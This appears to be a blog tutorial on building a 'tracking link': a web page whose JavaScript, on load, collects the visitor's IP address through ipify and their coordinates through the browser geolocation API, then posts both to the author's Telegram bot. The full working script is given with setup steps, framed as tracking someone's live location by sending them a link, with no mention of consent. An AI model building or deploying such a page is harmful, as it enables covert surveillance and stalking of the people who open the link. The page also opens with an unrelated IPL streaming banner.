IPL 2025 will stream here. आईपीएल 2025 का लाइव प्रसारण यहां होगा

How to get ip address and location on telegram bot using web post

How to get ip address and location on telegram bot using web post Track live location using send a link
To automatically send the user's IP address, location (latitude, and longitude) to a Telegram bot when the window loads, you can use JavaScript in conjunction with a geolocation API and Telegram Bot API. Below is an example of how you can achieve this: How to get ip address and location on telegram bot using web post
Related Posts

Steps:

    Create bot in Telegram

  • Open telegram and search@botfather
  • Create bot using this bot
  • Copy bot Token that
  • Copy chat id

    Integration of script

  • Use the Geolocation API to fetch the user's latitude and longitude.
  • Use a public IP API (e.g., https://api.ipify.org) to get the user's IP address.
  • Use the Telegram Bot API to send the information to a Telegram bot.

<script>
        // Telegram Bot API Token and Chat ID
        const token = 'YOUR_BOT_TOKEN';  // Replace with your Telegram bot token
        const chatId = 'YOUR_CHAT_ID';   // Replace with your Telegram chat ID

        // Function to send message to Telegram Bot
        function sendToTelegram(message) {
            const url = `https://api.telegram.org/bot${token}/sendMessage`;
            const params = {
                chat_id: chatId,
                text: message
            };

            fetch(url, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify(params),
            })
            .then(response => response.json())
            .then(data => {
                console.log('Message sent:', data);
            })
            .catch(error => {
                console.error('Error sending message:', error);
            });
        }

        // Function to get user's IP address
        function getIpAddress() {
            fetch('https://api.ipify.org?format=json')
                .then(response => response.json())
                .then(data => {
                    const ip = data.ip;
                    getLocation(ip);
                })
                .catch(error => console.error('Error fetching IP address:', error));
        }

        // Function to get user's location based on latitude and longitude
        function getLocation(ip) {
            if (navigator.geolocation) {
                navigator.geolocation.getCurrentPosition(position => {
                    const latitude = position.coords.latitude;
                    const longitude = position.coords.longitude;

                    // Prepare the message with IP address and location
                    const message = `IP Address: ${ip}\nLatitude: ${latitude}\nLongitude: ${longitude}`;

                    // Send the message to Telegram
                    sendToTelegram(message);
                }, error => {
                    console.error('Error getting geolocation:', error);
                    sendToTelegram(`IP Address: ${ip}\nUnable to retrieve location.`);
                });
            } else {
                console.error('Geolocation is not supported by this browser.');
                sendToTelegram(`IP Address: ${ip}\nUnable to retrieve location (Geolocation not supported).`);
            }
        }

        // On window load, start the process
        window.onload = function() {
            getIpAddress();
        };
    </script>
    

Explanation How to Setup:

  • Telegram Bot API:
  • The bot sends the data via the sendMessage method to a specific chat. Replace YOUR_BOT_TOKEN with your bot's token and YOUR_CHAT_ID with the target chat ID (could be your personal ID or a group ID).

  • IP Address:
  • The script uses the https://api.ipify.org?format=json service to retrieve the IP address of the user.

  • Geolocation API:
  • The browser's built-in navigator.geolocation is used to get the latitude and longitude of the user.

  • Window Load Event:
  • When the window loads, the script automatically fetches the IP address and location and sends it to the Telegram bot.

Important Note

This script will only work if the user has granted permission for geolocation.

Post a Comment